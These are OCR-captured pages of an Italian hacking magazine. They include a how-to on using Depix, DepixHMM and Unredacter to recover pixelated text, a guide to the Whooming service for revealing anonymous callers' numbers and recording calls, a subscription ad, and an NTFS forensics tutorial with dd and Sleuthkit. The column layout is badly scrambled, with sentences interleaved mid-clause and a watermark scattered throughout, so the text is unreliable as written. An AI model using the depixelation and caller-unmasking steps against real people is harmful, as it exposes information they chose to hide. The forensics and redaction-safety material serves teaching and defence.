di recuperare dalle immagini siano stati utilizzati per creare malintenzionato armato di Depix

ew
stringhe di testo offuscato in
diversi contesti: vari tipi di font,
dimensioni dei caratteri,
dimensioni della griglia, offset dei
Per gli amanti del “fai da te”
pixel e livello di rumore. Questo Se volete mettere alla prova Unredacter con un testo diverso da quello
di default, potete digitarlo direttamente nel campo Make Your Own
approccio si basa sul successo
_n
Redacted Text e premere Redact Me. Così facendo verrà generata
ottenuto dall’impiego degli HMM una nuova immagine pixellata già ottimizzata con i parametri richiesti
nelle tecniche di Machine Learning da Unredacter per ottenere un risultato ottimale. Non resta che cliccare
e in particolare nel riconoscimento il pulsante Click To Start per avviare la procedura di deoffuscamento.
vocale automatico usato per
IMMAGINE PERSONALE
recuperare sequenze di fonemi Per deoffuscare il testo di una vostra immagine dovete prima aprirla in
lia

da espressioni vocali. Ebbene, GIMP, croppare la porzione pixellata accertandovi che nel ritaglio non siano
traendo spunto da questa ricerca presenti bordi di finestre, elementi grafici o altri testi, ed esportarla in
formato PNG nella directory unredacter-main sovrascrivendo il file secret.
e basandosi sulle librerie di Depix,
png in essa presente. Se avete creato la pixellatura con l’Effetto pixel
a settembre 2021 lo sviluppatore di GIMP (richiamabile dal menu Filtri/Sfocature), prendete nota del valore
Jonas Schatz ha rilasciato il tool
ita

relativo alla dimensione del blocco di pixel scelto (in termini di Larghezza
DepixHMM (https://bit.ly/ blocco e Altezza blocco) e riportatelo nella riga const blockSize nel codice
depixhmm) che si svincola dello script modificando opportunamente il file main.ts che si trova
in C:\unredacter-main\src. La fase più critica per una corretta riuscita del
da alcuni dei limiti criticati
deoffuscamento consiste nell’individuare esattamente il tipo di carattere
in Depix migliorando l’accuratezza utilizzato nell’immagine per replicarlo
nella ricostruzione dei testi, quanto più fedelmente possibile
@

facendo registrare un concreto nel file CSS del tool (index.css).

Per aiutarsi in questa fase è possibile
passo in avanti a queste tecniche
inserire una porzione del testo
di cracking. in chiaro nel file test.html
e visualizzarlo in Chrome,
LA CRITICA E LA SFIDA! modificandolo (prestando
Ad agosto 2021, un ricercatore attenzione alla spaziatura tra parole
e lettere, alla dimensione e allo stile
di Jumpsec Labs, Caleb Herbert, del carattere) finché il font non sia
ha messo a dura prova Depix il più esatto possibile. Aprendo con
in diversi scenari reali, giungendo un editor di testo il file preload.ts,
alla conclusione che si tratta che si trova in C:\unredacter-
main\src, e agendo alla riga
ancora di un tool a basso rischio
const guessable_characters,
per la sicurezza. La ragione di è possibile determinare il set
questa conclusione è che, per di caratteri da usare.
risultare efficace, Depix richiede
@
ita
lia
_n
ew
s
@
ita
lia
_n
ew
s
HOW TO
possa, con tanta fortuna, riuscire informazioni offuscate sul Web stringa di caratteri pubblicata in
a decifrare un testo offuscato, o nei video di YouTube. Sicuro fondo al suo articolo (https://bit.ly/
ritiene che sia ancora lontana di ciò, Caleb Herbert ha lanciato candepix), relativo alla prova
l’ipotesi di far correre ai ripari pubblicamente una sfida agli sul campo di Depix.
tutti coloro che negli anni hanno studiosi di tutto il mondo,
condiviso immagini con invitandoli a deoffuscare una UN POC DA PAURA
Il guanto di sfida lanciato da
figura #3 Herbert è stato raccolto da Dan
Petro, ricercatore capo presso
Bishop Fox, che nel febbraio 2022
non solo ha vinto la challenge

s
mostrando in chiaro il testo
offuscato di Jumpsec Labs (https://
bit.ly/neverusepix), ma che ha

ew
Creando con un editor di testi una sequenza di De Bruijn (https://en. pubblicato su GitHub anche il
wikipedia.org/wiki/De_Bruijn_sequence) contenente tutte codice sorgente di Unredacter
le combinazioni previste di due caratteri, come mostrato in figura, (https://bit.ly/unredacter). Petro
e catturandone uno screenshot, è possibile usarlo in Depix come
è partito dall’ipotesi che in uno
immagine di ricerca di blocchi simili nel testo pixellato.
scenario reale l’attaccante sia
figura #4 in qualche modo a conoscenza
_n
del tipo di font utilizzato e della
dimensione del corpo del
carattere. È plausibile pensare,
infatti, che lo stesso sia in
possesso di uno screenshot di cui
lia

solo alcune porzioni del testo

Il ritaglio della porzione di immagine pixellata è fondamentale per siano state pixellate per celare
un corretto deoffuscamento. Nella guida di DepixHMM viene indicato informazioni sensibili. Analizzando
il bordo verde (che lascia una fila di pixel in alto e due in basso) come quindi l’intero documento e il
crop corretto da eseguire. Questo sebbene sia più intuitivo ritagliare contesto di un’immagine è logico
ita

lungo il bordo rosso mostrato nell’immagine di esempio, a causa della

pensare che sia possibile
dimensione del carattere e all’offset y della pixellatura.
determinare non soltanto il font,
figura #5 ma anche la sua dimensione.
Sulla scorta di ciò, Petro si è
concentrato sull’implementare
@

delle soluzioni in grado di gestire

le criticità riscontrate in Depix (del
cui algoritmo sposa comunque la
logica di fondo) per risultare più
efficace. Tra questi vi è il bleed-
over dei caratteri (ossia la
condivisione della stessa griglia
di pixel da parte di due caratteri
contigui), la spaziatura (bianca) tra
gli stessi, la larghezza dei caratteri
Se volete dormire sonni tranquilli, ricordatevi di “distruggere” tutte dei font (ossia lo spazio
le informazioni che volete cancellare. In GIMP, per esempio, potete orizzontale occupato da ciascuna
usare lo Strumento pennello e il colore nero per piazzare una bella lettera, che varia nei casi in cui il
banda di omissis sui testi. font non sia di tipo monospace),

46
 PIXELLING
l’incoerenza dovuta ai diversi Unredacter:
motori di rendering (che tendono come craccare i testi pixellati
a mostrare output leggermente
diversi anche se il font utilizzato #1
è il medesimo) e lo scostamento
della pixellatura (ossia le
coordinate di offset x e y che
determinano la posizione
del testo all’interno della griglia).
Per ripristinare un testo,
Unredacter utilizza sempre il

s
metodo di selezione inversa: parte
dall’immagine originale pixellata
e la confronta con una variante Procuratevi il pacchetto

ew
sintetizzata enumerando coppie Dal sito https://bit.ly/unredacter cliccate sul pulsante verde Code
e poi sul link Download ZIP per scaricare l’ultimo commit disponibile
di caratteri pixellati, ma con diversi
di Unredacter. Infine, estraete il file unredacter-main in un percorso
spostamenti e caratteristiche. facile da raggiungere (per esempio nella root C:\).
Durante la procedura di
enumerazione, quindi, Unredacter
#2
seleziona gradualmente la
_n
variante che più si avvicina al
frammento originale. A differenza
di Depix, infatti, non ha bisogno
di trovare una corrispondenza
esatta, ma accetta ipotesi che
lia

siano “per lo più” giuste.

Risultando più raffinato ed
efficace di Depix (che di fatto
è una via di mezzo tra un cracking Installate le dipendenze
Per funzionare, Unredacter ha bisogno di installare alcune
brute force e un attacco
ita

dipendenze tramite il Node Package Manager. Pertanto, dal sito

“a dizionario”), l’algoritmo https://nodejs.org/it/ scaricate e installate la versione consigliata di
implementato in Unredacter Node.js. Avviate il prompt (cmd), portatevi nella directory del tool
dimostra che il rischio di sicurezza (C:\unredacter-main) e digitate il comando npm install.
legato al deoffuscamento della
pixellatura (et similia) è in realtà #3
@

ben più alto di quello che si possa

immaginare. Per questa ragione,
da oggi in poi, se dovete oscurare
porzioni di testo in un’immagine,
usate soltanto metodi distruttivi
dei pixel. Come?
Con il vostro software di
fotoritocco preferito tracciate una
bella banda nera direttamente
Ora potete usare il tool!
sulle informazioni da nascondere; Scaricati tutti i pacchetti delle dipendenze, impartite il comando
e se usate i livelli, ricordatevi alla npm start. Dopo qualche secondo verrà caricata la schermata
fine di salvare il file in un formato di Unredacter. Per mettere subito alla prova il tool con l’immagine
che non li supporti (non PSD e TIFF pixellata di esempio secret.png (presente in unredacter-main),
premete Click to Start e… attendete pazientemente.
ma JPEG, PNG ecc.).

47
HOW TO

COME
RENDERE
VISIBILE
UN NUMERO

s
ew
PRIVATO! _n
C’è un modo gratuito per “smascherare” chi effettua telefonate
usando il prefisso #31# per non farti vedere il suo numero

R
icevere telefonate da un che ha intenzione di combinarvi solo
IN BREVE
numero privato e anonimo uno scherzo. Se avete intenzione
lia

Ecco come funziona il

è un qualcosa di molto di “sgamarlo” potete utilizzare
servizio che vi permette
fastidioso. Se poi tali chiamate un’applicazione mobile che consente
di individuare il numero
della persona che vi iniziano a diventare insistenti di “smascherare” il furbetto in vena
chiama con l’anonimo. e arrivano a qualsiasi ora del giorno di prendervi in giro. Vi ricordiamo che
e della notte la storia inizia a diventare per effettuare chiamate anonime non
ita

DIFFICOLTÀ
seccante e preoccupante. Può capitare servono operazioni complicate da fare.
che dietro a una telefonata anonima Tutti gli operatori, infatti, consentono
ricevuta si nasconda un vostro amico di poter effettuare telefonate
@

Alternative a Whooming
• L’app TrueCaller fornisce un servizio che fa della condivisione il suo punto di forza. In pratica, promette di risolvere
il problema verso le chiamate provenienti da numeri privati (non anonimi, ndr) mediante una sorta di registro creato
dagli utenti. È chiaro, quindi, che per funzionare, necessita della condivisione del proprio numero di cellulare
e dell’intera nostra rubrica. Noi della redazione sconsigliamo la condivisione di tutte queste informazioni con i server
di TrueCaller, nonostante il servizio sia utile e funzioni molto bene.
Web: https://www.truecaller.com/

• Should I Answer? è un’altra app in grado di identificare (e bloccare) le chiamate che provengono da numeri
di telefono di operatori di telemarketing che sono inseriti in un database che viene aggiornato ogni giorno tramite
le segnalazioni degli utenti. Al contrario di TrueCaller, Should I Answer? non necessita della condivisione del proprio
numero di telefono, quindi si può dire che rispetta la nostra privacy, ma ovviamente non sortisce gli stessi risultati.
Web: https://www.shouldianswer.com/

48
 SCOCCIATORI
Registro delle opposizioni Abbonarsi
Per proteggersi dal “telemarketing selvaggio” potete iscrivervi al servizio:
vantaggi
gratuitamente al registro delle opposizioni (www.registrodelleopposizioni.
it). L’iscrizione può essere richiesta da tutti i possessori di una linea
telefonica fissa, la cui utenza risulti inserita negli elenchi telefonici
pubblici. Inoltre, a partire dal 27 luglio di quest’anno, il registro delle
opposizioni sarà attivo anche per i numeri di cellulare. e costi!
Whooming funziona in modo
totalmente gratuito: per i primi
nascondendo il proprio numero. non è obbligatoria l’installazione sette giorni dalla registrazione

s
Come? Banalmente inserendo un dell’applicazione sul telefono, è incluso l’abbonamento
Premium con il quale potete
codice davanti al numero che si ma basta solo configurare la
vedere immediatamente i numeri
vuole contattare: #31#. Questo deviazione di chiamata, possibilità

ew
anonimi che vi contattano, sia
escamotage funziona con tutti offerta da qualunque operatore dando l’occupato alla telefonata
gli operatori di telefonia mobile, mobile e poi, successivamente, e sia se arrivano le chiamate
durante un’altra conversazione.
mentre da rete fissa il codice scorrere la lista delle chiamate
Le opzioni per un abbonamento
da usare è *67#. accedendo al servizio su Internet. invece sono: 3 mesi 11,99 euro;
6 mesi 17,99 euro; un anno
LO SCOVA NUMERI TECNICA DELL’INOLTRO 23,99 euro. Gli abbonamenti
_n
In questa guida vi presentiamo il Il servizio offerto da Whooming contemplano anche delle opzioni
in più rispetto alla versione
servizio Whooming (https://bit.ly/ funziona tramite la cosiddetta
gratuita. In particolare
whoomingfull) che consente tecnica dell’inoltro di chiamata: avrete la possibilità di:
di risolvere il “problema” delle in sostanza tutte le telefonate • far sentire la linea libera ai
chiamate anonime. Tramite la sua rifiutate verranno inoltrate verso mittenti delle chiamate anonime
lia

mentre il sistema avrà già messo

applicazione, disponibile sia per un numero che ci viene assegnato
in chiaro il numero;
dispositivi Android che iOS, avrete direttamente dal servizio; basterà • avviare la registrazione delle
la possibilità di individuare senza poi aprire la lista dall’applicazione conversazioni intercettate;
troppe difficoltà l’identità di chi vi o dal sito Internet di Whooming • avviare il download delle
sta contattando in modo anonimo. e vedere chi vi sta chiamando. registrazioni sul vostro computer;
ita

• inviare notifiche SMS per

Funziona sia sulla linea del La versione base è gratuita ricevere un messaggio con
cellulare (con tutti gli operatori), e, per i primi sette giorni, si ha il numero di chi ha chiamato.
che sulla linea fissa. Uno dei suoi l’abbonamento Premium incluso.
punti di forza è la compatibilità Con questo pacchetto si possono
con tutti i tipi di linea mobile: vedere subito i numeri che ci
@

il servizio in pratica funziona stanno contattando.

con tutti i cellulari e non solo Trascorso il periodo di prova
con gli smartphone di ultima di sette giorni, si dovrà aspettare
generazione. È sfruttabile, in altre ventiquattro ore dalla telefonata
parole, anche con i classici cellulari per poter visualizzare il numero
privi di connessione a Internet. con le ultime quattro cifre coperte
Per poter usare Whooming, infatti, da asterischi.

Chiamare con numero privato

è molto facile... ma lo è anche
sgamare chi lo fa grazie a Whooming
HOW TO

Preparate la trappola per chi ci chiama

PASSO 1 PASSO 2
Scaricate l’applicazione Confermate la registrazione
Whooming dal Play Store al servizio riportando
(è disponibile anche per iOS). nell’apposito campo il codice
Dopo averla installata vi che vi è stato inviato
verrà richiesto di effettuare all’indirizzo email utilizzato
l’accesso tramite una per la registrazione; tappate
semplice registrazione. su Verifica. A questo punto

s
Si può fare tramite email, dovete inserire il paese,
Google o Facebook. Optate l’operatore della vostra linea
per la nuova iscrizione: e il numero di cellulare

ew
la procedura è molto sul quale si vuole attivare
semplice e l’app vi segue in il servizio.
tutta l’operazione. Tappate
sul pulsante Iscriviti.

PASSO 3 PASSO 4
_n
Adesso dovete impostare A questo punto,
la deviazione di chiamata: l’applicazione vi farà
basta premere sul tasto effettuare una prova
verde ed effettuare la utilizzando il vostro numero.
chiamata al numero che Dopo aver effettuato
appare sul display. Dopo la telefonata di prova
lia

aver attivato la deviazione vi apparirà la schermata

di chiamata, che verrà in cui viene confermata
confermata con un l’attivazione del servizio
messaggino, tornate Whooming. Premete adesso
nell’app e cliccate OK sono il tasto Vai a lista chiamate
ita

Pronto. e concedete l’accesso

ai vostri contatti.

PASSO 5 PASSO 6
@

D’ora in poi vi basterà Se non volete più utilizzare

rifiutare le chiamate il servizio offerto da
provenienti da numeri Whooming sarà sufficiente
sconosciuti per vederle digitare ##002# sul
subito in chiaro nella tastierino numerico del
schermata Registro vostro telefono e inoltrare
Chiamate di Whooming. la chiamata. Al termine di
Ricordatevi che per i primi questa operazione apparirà
sette giorni il servizio un messaggio sullo schermo
è gratuito e che, poi, con che vi darà conferma
la versione base dovranno della disattivazione
passare 24 ore prima del servizio. Finito!
di poter visualizzare
il risultato.

50
 ABBONATI
ALLA TUA RIVISTA PREFERITA
TE LA SPEDIAMO APPENA STAMPATA!

CONSEGNA GARANTITA ENTRO 48H

s
ew
_n
lia

Con l’abbonamento
ita

cartaceo la versione
digitale è in OMAGGIO!

Riceverai 12 numeri a soli

DISPONIBILE ANCHE SOLO
@

IN VERSIONE DIGITALE

-28% -57%
CARTACEO DIGITALE
12 numeri 12 numeri
solo 33,90€ solo 19,90€
invece di 46,80€ invece di 46,80€

Scansiona il QrCode per abbonarti oppure contattaci

Telefono online email WhatsApp
02 87168197 www.sprea.it/hackerjournal [email protected] 329 3922420
Solo messaggi
Informativa ex Art.13 LGS 196/2003. I suoi dati saranno trattati da Sprea SpA, nonché dalle società con essa in rapporto di controllo e collegamento ai sensi dell’art. 2359 c.c. titolari del trattamento, per dare corso alla sua richiesta di abbonamento. A tale scopo, è indispensabile il conferimento dei dati anagrafici. Inoltre
previo suo consenso i suoi dati potranno essere trattati dalle Titolari per le seguenti finalità: 1) Finalità di indagini di mercato e analisi di tipo statistico anche al fine di migliorare la qualità dei servizi erogati, marketing, attività promozionali, offerte commerciali anche nell’interesse di terzi. 2) Finalità connesse alla comunica-
zione dei suoi dati personali a soggetti operanti nei settori editoriale, largo consumo e distribuzione, vendita a distanza, arredamento, telecomunicazioni, farmaceutico, finanziario, assicurativo, automobilistico e ad enti pubblici ed Onlus, per propri utilizzi aventi le medesime finalità di cui al suddetto punto 1) e 2). Per tutte
le finalità menzionate è necessario il suo esplicito consenso. Responsabile del trattamento è Sprea SpA via Torino 51 20063 Cernusco SN (MI). I suoi dati saranno resi disponibili alle seguenti categorie di incaricati che li tratteranno per i suddetti fini: addetti al customer service, addetti alle attività di marketing, addetti al
confezionamento. L’elenco aggiornato delle società del gruppo Sprea SpA, delle altre aziende a cui saranno comunicati i suoi dati e dei responsabili potrà in qualsiasi momento essere richiesto al numero +39 0287168197 “Customer Service”. Lei può in ogni momento e gratuitamente esercitare i diritti previsti dall’articolo 7
del D.Lgs.196/03 – e cioè conoscere quali dei suoi dati vengono trattati, farli integrare, modificare o cancellare per violazione di legge, o opporsi al loro trattamento – scrivendo a Sprea SpA via Torino 51 20063 Cernusco SN (MI).
HOW TO

Alla scoperta di NTFS!

TERZA PA
RT E

Vediamo come il filesystem NTFS,

tipico dei sistemi Windows, conserva i file

N
IN BREVE elle precedenti puntate • Kape, per l’estrazione della MFT
abbiamo imparato a di dischi formattati con NTFS,
Studiamo a fondo

s
conoscere il filesystem di propedeutica alla successiva analisi
le caratteristiche
di uno dei filesystem
Windows, NTFS (New da parte di tool “post mortem”;
Technology File System), che ormai • MFTexplorer che, pur richiedendo (al

ew
più diffusi.
sappiamo essere diviso in tre grandi contrario di NTFStool) la propedeutica
DIFFICOLTÀ
macroaree visibili in [figura #1] e estrazione della MFT della partizione
spiegate nel box La struttura di NTFS. da analizzare, ne consente l’esame
in formato grafico, con un’apposita
NTFS & TOOL GUI in grado semplificare l’analisi
La larghissima diffusione di NTFS e la da parte dell’utente.
_n
sua versatilità hanno favorito la nascita Usando questi strumenti, siamo riusciti
di tantissimi tool specialistici: nelle ad addentrarci nell’analisi della Master
scorse puntate abbiamo visto alcuni File Table e dei file record relativi ai
di quelli più rappresentativi, ciascuno principali metafile del filesystem.
dotato di specifiche caratteristiche Ma come viene memorizzato, invece,
lia

in grado di distinguerlo dagli altri. un file “ordinario”?

Stiamo parlando di software come:
• NTFStool, che abbiamo utilizzato per ESAMINARE I FILE
esaminare in tempo reale, dal prompt La risposta, per quanto banale, è:
dei comandi, i contenuti dei file record nello stesso modo. A seconda delle
ita

di partizioni NTFS; dimensioni, tuttavia, i dati del file

potrebbero essere immagazzinati (al
contrario di quanto visto per i metafile
di NTFS) interamente all’interno del
relativo file record. Per osservare più
@

da vicino questo comportamento,

abbiamo bisogno innanzitutto di
estrarre un’immagine bit a bit della
partizione su cui intendiamo lavorare.
Riprendiamo allora la nostra fidata
(e datata) chiavetta USB da 1 GB,
formattiamola con NTFS (per “pulire”
le strutture del filesystem) e inseriamo
al suo interno tre file di testo
semplicissimi:
• il primo, che chiameremo
filesystem.txt, contenente la stringa
figura #1 “Lezione su NTFS”;
L’homepage di Cygwin, www.cygwin.com • il secondo, da nominare hj.txt,

52
 FILESYSTEM
La schermata dell’installer di
Cygwin per la selezione delle
caratteristiche della nostra
connessione a Internet.

La struttura figura #2
di NTFS
Ecco le tre macroaree che
compongono la struttura
del filesystem NTFS:

s
• boot sector, l’area iniziale
del disco/partizione, ove sono
conservate le informazioni

ew
di base sul filesystem (tra cui la
dimensione dei cluster, concetto
che può essere approfondito
nel box Settori e cluster), i dati
necessari per il bootstrap (ovvero
il caricamento del sistema
operativo) e quelli per l’accesso
_n
a tutte le strutture utilizzate
per la gestione del filesystem;
• la Master File Table (MFT),
la struttura principale di NTFS
(a cui non a caso è dedicato il box
di approfondimento omonimo), figura #3
che possiamo immaginare come
lia

un’enorme tabella in cui, per

ciascun file della partizione,
è presente un elemento (detto
MFT entry o file record)
contenente tutte le relative
informazioni, come dimensione,
ita

flag, directory di appartenenza

e il relativo contenuto (o quanto
meno l’indirizzo dei cluster ove
tale contenuto è memorizzato);
• l’area dati, che ospita
concretamente i file residenti
@

nella partizione.

La schermata dell’installer di
Cygwin per la selezione del
mirror da cui scaricare i vari
programmi che utilizzerete.

contenente la frase: “File filesystem pulito ed elementare: a bit del nostro filesystem, da
di esempio Hacker Journal”; insomma, un ottimo banco di test “dare in pasto” successivamente al
• nel terzo, dd.txt, inseriamo per i nostri esperimenti! tool per l’analisi. Sebbene sia tipico
il manuale di dd (uno dei tool che dei sistemi GNU/Linux, è possibile
introdurremo in questa puntata), CYGWIN accedervi anche in ambiente
che possiamo reperire al link Il software di cui abbiamo copiato Windows, grazie alla suite Cygwin.
https://ss64.com/bash/dd.html. il manuale, dd, è quello che ci Per chi non la conoscesse, Cygwin
In questo modo, disponiamo di un consentirà di estrarre una copia bit può essere vista come una

53
HOW TO
figura #4 L’elenco, fornito da Cygwin,
delle partizioni accessibili
dal sistema operativo.

accanto al nome di ciascuna

partizione a noi accessibile
[figura #4], sia il punto di mount
di Windows (ovvero la lettera
associata alla partizione),
sia il nome del corrispondente
device da utilizzare in Cygwin.
figura #5 Nel nostro caso, alla chiavetta USB

s
è possibile accedere mediante la
lettera E:\ (se utilizziamo il sistema
operativo sottostante) oppure

ew
attraverso il file di device /etc/
L’estrazione dell’immagine bit a bit della chiavetta USB, sdb1: è questo il file da tenere
mediante il tool dd incluso in Cygwin. a mente per estrarre l’immagine
del supporto di memoria,
collezione di tool in grado di ESTRARRE L’IMMAGINE operazione che richiede la sintassi
fornire ai sistemi Microsoft Al termine dell’installazione,
_n
funzionalità comparabili a quelle possiamo avviare Cygwin cliccando $ dd if=/dev/sdb1
di una qualsiasi distro GNU/Linux. sulla relativa icona presente sul of=chiavetta.dd bs=1024
Possiamo scaricare l’ultima desktop. Inseriamo la nostra
versione di Cygwin dal sito Web chiavetta USB nel PC, annotiamo Una volta avviato questo
del progetto (www.cygwin.com), la lettera che Windows assegnerà comando, il già citato tool dd
lia

selezionando il link setup-x86_64. al relativo drive, quindi effettuerà una copia bit a bit
exe [figura #1]. Non vi stupite visualizziamo l’elenco dei dischi della nostra chiavetta,
se il download procede “troppo” presenti nel sistema, salvando l’immagine creata nel file
rapidamente: si tratta solo con il comando chiavetta.dd [figura #5].
del pacchetto iniziale, mentre
ita

i software veri e propri saranno $ cat /proc/partitions SLEUTHKIT

scaricati soltanto nel corso Finalmente disponiamo di
dell’installazione. Una volta Come possiamo notare, l’output un’immagine della nostra chiavetta
completato il download: di questo comando riporta, USB: e adesso? Il prossimo step
• avviamo l’installer con un doppio
@

click e forniamo le nostre figura #6

autorizzazioni amministrative;
• accettiamo le scelte di default
proposte, a eccezione
di quelle per la selezione della
tipologia di connessione (nella
stragrande maggioranza dei casi
è sufficiente optare per direct
connection – [figura #2])
e del mirror da utilizzare
per il download [figura #3].

L’homepage di Sleuthkit,
www.sleuthkit.org

54
 FILESYSTEM
figura #7 da utilizzare è fsstat: è sufficiente
digitare dal prompt la stringa
seguente

> fsstat.exe chiavetta.dd

La pagina per
il download
di Sleuthkit. per ottenere una panoramica
abbastanza completa delle
caratteristiche del filesystem.
è rappresentato dall’installazione e, soprattutto, liberamente Come possiamo notare in [figura
di The Sleuthkit (TSK), una suite impiegabili. Una volta effettuato #8], l’output del comando riporta

s
per l’analisi forense dei filesystem. il download dei binari più recenti tre tipologie di informazioni,
Con una storia ventennale alle disponibili per Windows suddivise in altrettante sezioni:
spalle, Sleuthkit si è ritagliato nel [figura #7], non ci resta che • informazioni di carattere

ew
tempo uno spazio di rilievo nel decomprimere il pacchetto per generale (sezione FILE SYSTEM
settore, sino ad affermarsi come avere già pronti all’uso tutti i tool INFORMATION), come il seriale
uno dei prodotti di riferimento della suite, comodamente raccolti del volume o il nome OEM
nel campo dell’analisi forense, nella sottodirectory bin. (che, per i supporti formattati
grazie anche alla varietà in ambiente Windows, assume
dei filesystem analizzabili (non UN ESAME VELOCE di norma il valore “NTFS”);
_n
solo NTFS ma anche, tra gli altri, Anche se il nostro scopo in questa • informazioni sulla Master File
le varie versioni di EXT sede è analizzare
– il filesystem più utilizzato
in ambiente GNU/Linux –
i file contenuti
nell’immagine,
figura #8
FAT, ExFAT, ISO 9660) e dei sistemi non possiamo Il comando
lia

operativi supportati (oltre esimerci da uno fsstat mostra

i dati salienti
a Windows, TSK è installabile sguardo veloce alle
del filesystem.
anche nei sistemi GNU/Linux, caratteristiche
macOS X, Open & FreeBSD, del filesystem,
Solaris). Non ultimo, i tool di cui anche nell’ottica
ita

si compone la suite – nonché il di una comparazione

framework stesso – sono Software completa dei tool
Libero, rilasciati sotto le licenze (e delle relative
“IBM Public License” e “Common feature) presentati
Public License”: sono scaricabili in queste puntate.
@

gratuitamente dal sito del progetto Nel caso di The

(www.sleuthkit.org, [figura #6]) Sleuthkit, il comando

SETTORI E CLUSTER
P er gestire la memorizzazione delle
informazioni, i byte di cui è composto un
disco sono suddivisi in settori, aree logiche
Il cluster costituisce l’unità minima di
allocazione: indipendentemente dalla sua reale
dimensione (fosse anche un singolo byte!),
dalla dimensione omogenea. I settori, a loro ogni file occupa almeno un cluster su disco
volta, vengono raggruppati in cluster, in una (ed ecco la disparità che a volte si può notare
proporzione variabile – entro i parametri smanettando con le proprietà di dischi, file
previsti dalle specifiche del filesystem – stabilita e directory, tra le dimensioni reali del file
all’atto della formattazione. e le dimensioni occupate su disco!).

55
HOW TO
Table (sezione METADATA MFT & FILE possiamo visualizzare l’elenco
INFORMATION), tra cui il relativo Contrariamente a quanto abbiamo dei file contenuti nell’immagine
cluster di allocazione (nonché visto con i tool trattati [figura #9], che Sleuthkit
quello della sua copia, $MFTMirr), in precedenza, i dati mostrati si preoccupa di ricavare,
la dimensione di ogni file record da fsstat non derivano in maniera del tutto trasparente
(struttura che Sleuthkit denomina dall’interrogazione della all’utente, da un’apposita
“MFT Entry”), il file record della Master File Table, quanto interrogazione della MFT:
root directory del filesystem; piuttosto dal boot sector. il programma si limita
• informazioni sui contenuti veri Per accedere alla MFT – e ai dati a scandire tutti i file record
e propri del filesystem (sezione ivi memorizzati – Sleuthkit presenti nella MFT, stampando
CONTENT INFO), come le ci mette a disposizione a video – per quelli che risultano

s
dimensioni (e il numero) di settori altri comandi, a iniziare in uso – il nome del file a cui l’entry
e di cluster e le caratteristiche da fls. Digitando fa riferimento, nonché il relativo
degli attributi definiti all’interno indice numerico all’interno

ew
del filesystem. > fls.exe -r chiavetta.dd della tabella. A tal proposito,
i lettori più attenti potrebbero
aver notato un’apparente

Master File Table

contraddizione. Come abbiamo
avuto modo di spiegare (e “toccare
con mano”) nelle precedenti
_n
Gran parte del design di NTFS può essere sintetizzato con due concetti:
la Master File Table e l’assunto che “ogni oggetto è un file”. puntate, gli indici dei file record
Che si tratti del boot sector, della root directory o dei metadati deputati sono semplici valori numerici
alla gestione del filesystem (compresa la stessa Master File Table), che ne stabiliscono la posizione
tutto viene rappresentato da NTFS sotto forma di file. all’interno della MFT, misurandola
Possiamo pensare alla MFT come una gigantesca tabella, che associa
in termini di offset dal primo
lia

a ciascun file presente nel filesystem un elemento detto MFT entry o file
record. Ogni file record è identificato univocamente da un apposito indice, elemento (indice 0 per la prima
che ne specifica la posizione all’interno della tabella: entry, 1 per la seconda, 2 per la
• il primo file record ha indice pari a 0, e contiene gli attributi relativi terza e così via): ma allora perché
al file $MFT, che identifica la MFT stessa;
fls riporta questi stessi indici
• il secondo (indice 1) fa riferimento al file $MFTMirr,
in un formato x-y-z, formato da tre
ita

ovvero la copia della MFT;

• il sesto (indice 5) rappresenta la root directory del filesystem (.), interi piuttosto che da uno?
l’ottavo il boot record ($Boot), mentre gli elementi dall’indice 27
in poi sono generalmente associati a file ordinari; INFORMAZIONI SUI FILE
Inoltre la MFT ha una struttura composta da due grandi aree:
La risposta sta nelle peculiarità
• un header iniziale, contenente informazioni di carattere generale,
di NTFS che, come vedremo
@

come la dimensione effettiva e allocata su disco o il numero di sequenza

(che indica il numero di riutilizzi del file record, incrementandosi ogni nelle prossime puntate, consente
volta che il file associato viene cancellato e ricreato); di associare più flussi di dati
• una lista di attributi, il cui contenuto varia da attributo ad attributo. a un singolo file: può quindi
Sono proprio gli attributi a definire il file: in NTFS, infatti, un file non
è altro che un insieme di attributi. Tra questi, è opportuno segnalare: capitare che in una entry MFT
• $DATA, l’attributo a cui è affidato il compito di conservare il contenuto siano presenti più istanze
del file. Generalmente è un attributo non residente, ovvero esterno dell’attributo $DATA (fate
al file record che si limita a conservare l’indirizzo dei cluster ove l’attributo
riferimento al box Master File
è effettivamente memorizzato;
Table se vi dovesse servire
• $STANDARD_INFORMATION, l’attributo (residente, ovvero interno al file
record) che memorizza le informazioni temporali (come tempi di creazione, un veloce riepilogo sugli
modifica e accesso) e i flag (quelli relativi, ad esempio, ai file di sistema, attributi NTFS). Per poter
read only, nascosti o compressi) di ciascun file e directory del volume; accedere a ciascun flusso
• $FILE_NAME (anch’esso residente), che viene utilizzato per di dati, i tool di Sleuthkit
la memorizzazione di nome e dimensione dei file (quest’ultima distinta
in dimensione reale e dimensione allocata) e per i riferimenti alla richiedono che sia utilizzato
directory di appartenenza. un indice del tipo x-y-z, in cui:

56
 FILESYSTEM
Il comando fls proprio come se ci muovessimo
figura #9 mostra, con
l’opzione -r, tutti
all’interno del filesystem vero
e proprio, piuttosto che
i file contenuti
nell’immagine.
analizzarne una “semplice”
immagine. Non ci resta che un
ultimo step: poter visualizzare
puntate. Per anche il contenuto del file,
esempio, per operazione che, per quanto possa
ottenere le sembrare strano, non abbiamo
informazioni salienti ancora visto nelle precedenti
sul file hj.txt puntate. È sufficiente invocare

s
interrogando la il comando icat di Sleuthkit:
relativa entry MFT, è
sufficiente eseguire

ew
> icat chiavetta.dd 73
il comando
oppure, in maniera equivalente
> istat
figura #10 chiavetta.dd 73 > icat chiavetta.dd 73-128-2

in grado di fornire per visualizzare i contenuti del file

_n
una vera e propria hj.txt [figura #11]. In questo caso,
istantanea del file si tratta di contenuti inseriti
[figura #10], direttamente all’interno
che spazia dalla dell’entry MFT del file: l’attributo
directory di $DATA di hj.txt è residente, come
lia

appartenenza abbiamo avuto modo di appurare

(la root directory, grazie al comando istat.
identificata tramite Ma icat è ugualmente efficace
l’indice del relativo anche nel caso in cui il contenuto
file record, che è per del file sia memorizzato nell’area
ita

Il comando istat mostra i dati salienti

l’appunto 5) alla dati: se non ci credete, provate
di un file, individuato mediante l’indice
del relativo file record. dimensione (appena il comando
31 byte effettivi,
• x coincide con l’indice numerico a fronte di 32 allocati), passando > icat chiavetta.dd 64
del file record (un intero); per lo stato di allocazione (si tratta,
@

